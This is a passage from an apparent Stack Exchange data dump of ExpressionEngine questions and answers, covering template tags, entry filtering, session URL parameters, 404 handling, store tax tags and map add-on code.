&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {body}&#xA;         &amp;lt;/article&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example head template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    {if {exp:stash:not_empty name=&quot;category_title&quot;}}&#xA;        &amp;lt;title&amp;gt;{category_title} - News - {site_name}&amp;lt;/title&amp;gt;&#xA;    {else}&#xA;        &amp;lt;title&amp;gt;Archive - News - {site_name}&amp;lt;/title&amp;gt;&#xA;    {/if}&#xA;&#xA;    {common-page-head}&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2012-12-05T19:51:02.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1201" PostTypeId="1" CreationDate="2012-12-05T19:52:39.650" Score="3" ViewCount="174" Body="&lt;p&gt;I have a client site who is pulling in channel entries with dollar amounts in them; most of the dollar amounts are regular numbers, 2000, 100, etc., some are negative amounts (chargebacks?), -1600, etc., and some are just a dash &quot;-&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to filter the just dash &quot;-&quot; entries out of the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:tax_deductible_amount=&quot;not -&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;removes all negative and just dash entries; however, the parameter with exact matching &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:tax_deductible_amount=&quot;=not -&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns everything. Does it not recognize special characters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="28" LastEditDate="2012-12-06T06:04:19.657" LastActivityDate="2012-12-06T08:47:05.067" Title="search:field_name= and special characters" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1202" PostTypeId="2" ParentId="1197" CreationDate="2012-12-05T19:52:41.633" Score="5" Body="&lt;p&gt;For the title in the head I'd use &lt;a href=&quot;http://gotolow.com/addons/low-title&quot;&gt;Low Title&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;{exp:low_title:category url_title=&quot;{segment_n}&quot;} - News - {site_name}&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming you're looking to just list the category and its description for the article below, for the body you can just use Channel Entries and &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot;&gt;Low Seg2Cat&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;{segment_n_category_id}&quot;}&#xA;{categories}    &#xA;    &amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&#xA;    {if category_description}&#xA;        &amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2012-12-05T20:13:18.917" LastActivityDate="2012-12-05T20:13:18.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1203" PostTypeId="2" ParentId="1193" CreationDate="2012-12-05T19:59:27.287" Score="0" Body="&lt;p&gt;Are you logged in when experiencing this problem? Or, put another way, does this problem occur when you are &lt;strong&gt;not&lt;/strong&gt; logged in? It appears that EE's &lt;code&gt;fetch_site_index&lt;/code&gt; method is cached, so the base URL could theoretically be persisting across sites. Just something to try&amp;mdash;I haven't thoroughly tested this yet.&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2012-12-05T19:59:27.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1204" PostTypeId="2" ParentId="986" CreationDate="2012-12-05T20:12:53.020" Score="0" Body="&lt;p&gt;I did this in the end like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$randoms = array();&#xA;?&amp;gt;&#xA;{exp:channel:entries channel=&quot;styleguide&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot; limit=&quot;5&quot; orderby=&quot;random&quot;}&#xA;&amp;lt;?php&#xA;array_push($randoms, '{entry_id}');&#xA;?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;styleguide&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;?php&#xA;        if (in_array('{entry_id}', $randoms)) {&#xA;            echo 'hoorah';&#xA;        }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Except I removed the first entries pair and replaced it with a simple SQL query.&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2012-12-05T20:12:53.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1206" PostTypeId="2" ParentId="1187" CreationDate="2012-12-05T20:32:38.090" Score="1" Body="&lt;p&gt;As people have said in the comments you should as as much information as possible about your setup so that we can provide accurate results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exp:resso Store&lt;/strong&gt;&#xA;If you are using &lt;a href=&quot;https://exp-resso.com/store/&quot; rel=&quot;nofollow&quot;&gt;Exp:resso Store&lt;/a&gt; there are a few options you can use. To display item specific sales tax you would want to use &lt;code&gt;item_tax&lt;/code&gt; tag inside of the items loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA; Item Tax = {item_tax}&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If  you want to display the tax for the entire order there are a couple tags you can use as mentioned in the &lt;a href=&quot;https://exp-resso.com/docs/store/tags/checkout.html#order-details&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{order_subtotal_tax} = All the tax that is applicable to the orders subtotal&#xA;{order_shipping_tax} = The tax that is applicable to the shipping cost&#xA;{order_tax} = All the tax applicable to the entire order (includes subtotal and shipping)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also display the tax information such as name and rate with the followingL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{tax_name} = Value for the tax rate based upon your settings in the CP&#xA;{tax_rate} = Value like &quot;0.10&quot;&#xA;{tax_percentage} = Value like &quot;10%&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CartThrob&lt;/strong&gt;&#xA;If you are using &lt;a href=&quot;http://cartthrob.com&quot; rel=&quot;nofollow&quot;&gt;CartThrob&lt;/a&gt; you would need to add the custom fields that you assigned to store tax, subtotal plus tax, shipping plus tax fields depending on what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BrilliantRetail&lt;/strong&gt;&#xA;If you are using &lt;a href=&quot;http://brilliantretail.com&quot; rel=&quot;nofollow&quot;&gt;BrilliantRetail&lt;/a&gt; you would want to use something like &lt;a href=&quot;http://docs.brilliantretail.com/developers/template-tags/checkout/checkout-thank-you.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; I haven't used BR in a really long time so I am not 100% sure of their tag structure but looking through the included templates should help.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2012-12-05T21:30:37.290" LastActivityDate="2012-12-05T21:30:37.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1207" PostTypeId="1" AcceptedAnswerId="1208" CreationDate="2012-12-05T20:50:22.063" Score="7" ViewCount="183" Body="&lt;p&gt;I setup the links in my header navigation using &lt;code&gt;{path='site'}&lt;/code&gt;, &lt;code&gt;{path='about'}&lt;/code&gt;, etc. When I view the rendered pages, the links have an extra parameter S=. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/index.php/S=5eb7474c89555bd5d9e41ec21a99566906803a2d/&#xA;http://example.com/index.php/S=5eb7474c89555bd5d9e41ec21a99566906803a2d/site/about&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the S parameter and how do I get rid of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought perhaps it was session variable or something, but I can't seem to find any information about it in the user docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="77" LastEditDate="2012-12-05T21:20:51.770" LastActivityDate="2012-12-05T21:20:51.770" Title="S=5eb7474c89555... in URL? What is it? How do I get rid of it?" Tags="|url|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1208" PostTypeId="2" ParentId="1207" CreationDate="2012-12-05T20:53:53.057" Score="12" Body="&lt;p&gt;Hi if you go to admin &gt; security &amp;amp; privacy &gt; security and session preferences. Then change the user session type to &quot;cookies only&quot; and you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-05T20:53:53.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1209" PostTypeId="2" ParentId="1207" CreationDate="2012-12-05T20:55:41.423" Score="5" Body="&lt;p&gt;You have to set User Session Type to Cookies in Admin =&gt;  Security &amp;amp; Privacy =&gt; Security and Sessions.&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-12-05T20:55:41.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1210" PostTypeId="2" ParentId="1201" CreationDate="2012-12-05T21:46:33.823" Score="5" Body="&lt;p&gt;I've just setup a few debug entries and excluding exact dash matches does seem to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;about&quot; search:about_body=&quot;=not -&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I can suggest is that you double-check that there's no whitespace surrounding your data and that you aren't being caught out by &lt;a href=&quot;http://en.wikipedia.org/wiki/Dash&quot;&gt;fancy dashes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-05T21:46:33.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1211" PostTypeId="1" AcceptedAnswerId="1460" CreationDate="2012-12-05T21:52:29.633" Score="7" ViewCount="338" Body="&lt;p&gt;Is there a way to create the following menu with Expresso Store search tag. I can't seem to get my head around how to do this. I really need a simple way to start filtering products. Very confused.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;range:regular_price&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;;99&quot;&amp;gt;$0.00 - $99.99&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;100;199&quot;&amp;gt;$100.00 - $199.99&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;200;399&quot;&amp;gt;$200.00 - $399.99&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;400;799&quot;&amp;gt;$400.00 - $799.99&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;800;&quot;&amp;gt;$800.00 and over&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;{exp:store:search channel=&quot;products&quot; search:price:min=&quot;0&quot; search:price:max=&quot;99&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hi folks. I'm so stinken confused with this. Here's an image of what I'm trying to do with the Expresso Store module. I really want to have a dropdown menu to filter results. I would love it to refresh on the same page. I would even be OK if it used a submit button for the refresh. Is there any easy way to do this. I apologize for my lack of knowledge. Really struggling ;(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9QKN8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="150" LastEditDate="2012-12-14T08:27:24.507" LastActivityDate="2012-12-14T08:27:24.507" Title="How can I use Expresso Store Search within dropdowns?" Tags="|add-on|ee2|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1212" PostTypeId="1" CreationDate="2012-12-05T23:00:59.687" Score="3" ViewCount="295" Body="&lt;p&gt;On a current site the I have news entries archived by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Year (using Zoo Triggers)&lt;/li&gt;&#xA;&lt;li&gt;Category&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the sidebar of the each news template (index &amp;amp; detail) it simply lists the years entries appeared in and below that is another list of the categories the entries are categorized in. E.G.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yearly Archives&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2012&lt;/li&gt;&#xA;&lt;li&gt;2011&lt;/li&gt;&#xA;&lt;li&gt;2010&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Category Archives&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1&lt;/li&gt;&#xA;&lt;li&gt;Category 2&lt;/li&gt;&#xA;&lt;li&gt;Category 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Instead of static lists now the client is asking me to make each year and category a check box that can allow the user to select the years and categories of the entries they would like shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples include selecting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1 + 2011 | shows all entries from Category 1 AND from 2011&lt;/li&gt;&#xA;&lt;li&gt;Category 2 + Category 3 | shows all entries from Category 2 OR Category 3&lt;/li&gt;&#xA;&lt;li&gt;2012 + 2010 | show all entries from 2012 AND 2010&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only catches are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Site uses Structure&lt;/li&gt;&#xA;&lt;li&gt;Zoo Triggers is set up for yearly and category archives&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible to do this natively?&lt;/li&gt;&#xA;&lt;li&gt;Are there any add-ons available that I don't know about that can achieve this?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From my digging it looks like I should be looking at this as a custom &quot;search&quot; but I want to cover my bases first.&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-12-05T23:54:40.180" Title="How can I filter entries by category and/or year on the frontend?" Tags="|category-archive|zoo-triggers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1213" PostTypeId="1" AcceptedAnswerId="1225" CreationDate="2012-12-05T23:06:09.677" Score="4" ViewCount="1397" Body="&lt;p&gt;SEE: &lt;a href=&quot;http://ellislab.com/forums/viewthread/224965/&quot; rel=&quot;noreferrer&quot;&gt;http://ellislab.com/forums/viewthread/224965/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display something to the user only once. How do I do this in the templates? My idea is to store a value in session and use it to decide whether to output this something or not. Any ideas what I should do in EE?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-06T01:40:50.377" Title="How to set and access session in EE?" Tags="|templates|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1214" PostTypeId="2" ParentId="1152" CreationDate="2012-12-05T23:10:04.263" Score="1" Body="&lt;p&gt;Thanks Justin for this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have placed that JS at the bottom of my page and updated my gmap code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == 1}&#xA;    {exp:gmap:init id=&quot;map{entry_id}&quot; class=&quot;google-maps&quot; style=&quot;width:100%;height:380px&quot; scrollwheel=&quot;false&quot;} &#xA;    {exp:gmap:marker id=&quot;map{entry_id}&quot; latitude=&quot;{events_map_latitude_field}&quot; longitude=&quot;{events_map_longitude_field}&quot; zoom=&quot;16&quot; extend_bounds=&quot;false&quot; center=&quot;{events_map_formatted_address}&quot;}&#xA;{if:else}&#xA;    {exp:gmap:init id=&quot;map{entry_id}&quot; class=&quot;google-maps&quot; style=&quot;width:100%;height:380px&quot; scrollwheel=&quot;false&quot; script_tag=&quot;false&quot;}&#xA;    {exp:gmap:marker id=&quot;map{entry_id}&quot; latitude=&quot;{events_map_latitude_field}&quot; longitude=&quot;{events_map_longitude_field}&quot; zoom=&quot;16&quot; extend_bounds=&quot;false&quot; center=&quot;{events_map_formatted_address}&quot;}&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you suspected it centers on the middle of the ocean. Obviously I haven't told the map enough about centering - can you see where I've gone wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2012-12-05T23:10:04.263" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1215" PostTypeId="2" ParentId="1212" CreationDate="2012-12-05T23:37:44.750" Score="1" Body="&lt;p&gt;Don't think this is 100% suited to your requirements as I'm unfamiliar with Zoo Triggers but I needed to pull back Entries by year on a recent project and used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Year Archives:&lt;/strong&gt; &lt;a href=&quot;https://github.com/ryanirelan/ri.yearlist.ee_addon.2.0&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ryanirelan/ri.yearlist.ee_addon.2.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that's of use.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2012-12-05T23:37:44.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1216" PostTypeId="1" AcceptedAnswerId="1222" CreationDate="2012-12-05T23:38:33.363" Score="3" ViewCount="655" Body="&lt;p&gt;If I have a channel with the custom field &quot;Age&quot; (numeric type) how can I filter the channel so that only entries with &lt;code&gt;&quot;Age&quot; &amp;gt;= 24&lt;/code&gt; are shown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise what would be the way to define and filter a custom field using a date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this require custom SQL statements or could this be achieved using the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-06T11:07:34.677" Title="How to filter channel by numeric field?" Tags="|ee2|templates|channel|filter|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1217" PostTypeId="2" ParentId="1212" CreationDate="2012-12-05T23:54:40.180" Score="0" Body="&lt;p&gt;Why not skip EE altogether and use &lt;a href=&quot;http://isotope.metafizzy.co/demos/combination-filters.html.&quot; rel=&quot;nofollow&quot;&gt;jQuery Isotope&lt;/a&gt;? Your lists would be generated by EE of course but each would have a class applied and filtering would happen via JavaScript. If not then you're probably better off making life easier on yourself and using &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-05T23:54:40.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1218" PostTypeId="2" ParentId="1025" CreationDate="2012-12-06T00:02:10.390" Score="5" Body="&lt;p&gt;You could have a look at this framework from &quot;Zurb Foundation&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a plug-in (css &amp;amp; javascript) called &quot;Magellan&quot; that effectively &quot;listens&quot; to where a user is on the page and sets a class of &lt;strong&gt;active&lt;/strong&gt; to the relevant menu item on a floating nav bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means a user can either &lt;strong&gt;click&lt;/strong&gt; on a menu item or &lt;strong&gt;scroll&lt;/strong&gt; to the relevant part of the page and the nav item will be set to &lt;em&gt;active&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not too hard to grab the bits of code and scripts you need out of the framework and add to your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://foundation.zurb.com/docs/magellan.php&quot;&gt;http://foundation.zurb.com/docs/magellan.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2012-12-06T00:02:10.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1219" PostTypeId="1" AcceptedAnswerId="1271" CreationDate="2012-12-06T00:11:33.043" Score="4" ViewCount="173" Body="&lt;p&gt;I'm trying to parse markdown files stored on the server, and display them inside EE templates in a nice automatic fashion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first idea was to read the files using &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;noreferrer&quot;&gt;Stash&lt;/a&gt;, then parse them using &lt;a href=&quot;https://github.com/experience/smartdown.ee_addon&quot; rel=&quot;noreferrer&quot;&gt;Smartdown&lt;/a&gt;. However, I have run into a problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stash assumes the files have an extension of &lt;code&gt;.html&lt;/code&gt;.&lt;/strong&gt; If I use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;index.md&quot; file=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Stash: the file &quot;/path/to/stash/index.md.html&quot; was not found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a way to tell Stash not to automatically add the &lt;code&gt;.html&lt;/code&gt; extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there another easy way to read in files (and cache them)?&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="197" LastEditDate="2012-12-06T04:18:14.213" LastActivityDate="2012-12-06T19:40:31.730" Title="Load stash partials with custom extension" Tags="|add-on|stash|add-on-development|filesystem|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1220" PostTypeId="1" AcceptedAnswerId="1228" CreationDate="2012-12-06T00:40:44.233" Score="5" ViewCount="556" Body="&lt;p&gt;I've yet to come up with a decent solution for this so thought I'd throw this out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have a /news/index template, it serves the initial set of news results, and also serves up paginated results and category results, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/news/P10&lt;/li&gt;&#xA;&lt;li&gt;/news/category/blogging&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My question is: What is the best way to get EE to throw a proper 404 error on a url like /news/foo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most sites I've seen don't cater for this, even Ellislab: &lt;a href=&quot;http://ellislab.com/blog/foo&quot; rel=&quot;noreferrer&quot;&gt;http://ellislab.com/blog/foo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I do see the clever folks at FocusLab have it nailed (http://focuslabllc.com/blog/foo) :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions/tips ?&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2012-12-06T03:08:33.977" Title="Trigger a 404 on a /news index which has categories and pagination running through it" Tags="|templates|404|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1221" PostTypeId="2" ParentId="1220" CreationDate="2012-12-06T00:46:12.323" Score="5" Body="&lt;p&gt;We sometimes use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3}{if no_results}{redirect=&quot;404&quot;}{/if}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In instances where {segment_3} is the feeder.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2012-12-06T00:46:12.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1222" PostTypeId="2" ParentId="1216" CreationDate="2012-12-06T01:14:02.043" Score="3" Body="&lt;p&gt;I don't think either of these things an be accomplished through the exp:channel:entries tag.  I'm sure you could accomplish both of these things through the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;exp:query tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as an example of filtering based on a field I know contains only numbers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query limit=&quot;5&quot; sql=&quot;SELECT title, entry_date, field_id_5 &#xA;  FROM exp_channel_titles AS titles, exp_channel_data AS data &#xA;  WHERE titles.entry_id = data.entry_id AND titles.entry_id &amp;gt; 900&quot;}&#xA;    &amp;lt;p&amp;gt;{title} - {entry_date format=&quot;%Y %m %d&quot;} - {field_id_5}&amp;lt;/p&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On your second question, there is a date fieldtype, in ee but it doesn't allow for sorting based on that date in the channel:entries tag, just displaying the output formatted as a date.  To filter using the queries tag on dates, you need to be aware that the dates are stored as a unix timestamp.  If you wanted to query on your custom date field (here field_id_262) being between 14 and 7 days ago:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT titles.title, data.field_id_262 &#xA;  FROM exp_channel_titles AS titles, exp_channel_data AS data &#xA;  WHERE titles.entry_id = data.entry_id &#xA;  AND data.field_id_262 &amp;gt; ((unix_timestamp(Now()))-(14*86400)) &#xA;  AND data.field_id_262 &amp;lt; ((unix_timestamp(Now()))-(7*86400))&quot;}&#xA;    &amp;lt;p&amp;gt;{title} - {field_id_262 format=&quot;%Y %m %d&quot;}&amp;lt;/p&amp;gt;&#xA;{/exp:query} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-06T02:06:48.980" LastActivityDate="2012-12-06T02:06:48.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1223" PostTypeId="2" ParentId="1220" CreationDate="2012-12-06T01:14:09.313" Score="2" Body="&lt;p&gt;what about using require_entry=&quot;yes&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then {if no_results}{redirect=&quot;404&quot;}{/if}&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-12-06T01:14:09.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1224" PostTypeId="1" AcceptedAnswerId="1226" CreationDate="2012-12-06T01:28:17.590" Score="6" ViewCount="553" Body="&lt;p&gt;I'm building a Store selling garments using Size as the Product Modifier option and variation as the modifier Type so that each size has it's own SKU and Inventory.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Size drop down looks like this on the product detail page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Small&lt;/li&gt;&#xA;&lt;li&gt;Medium&lt;/li&gt;&#xA;&lt;li&gt;Large&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add 'Out of Stock' or 'In Stock' to the select options depending on individual stock levels so the drop down looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Small - Out of Stock&lt;/li&gt;&#xA;&lt;li&gt;Medium - In Stock&lt;/li&gt;&#xA;&lt;li&gt;Large - In Stock&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks 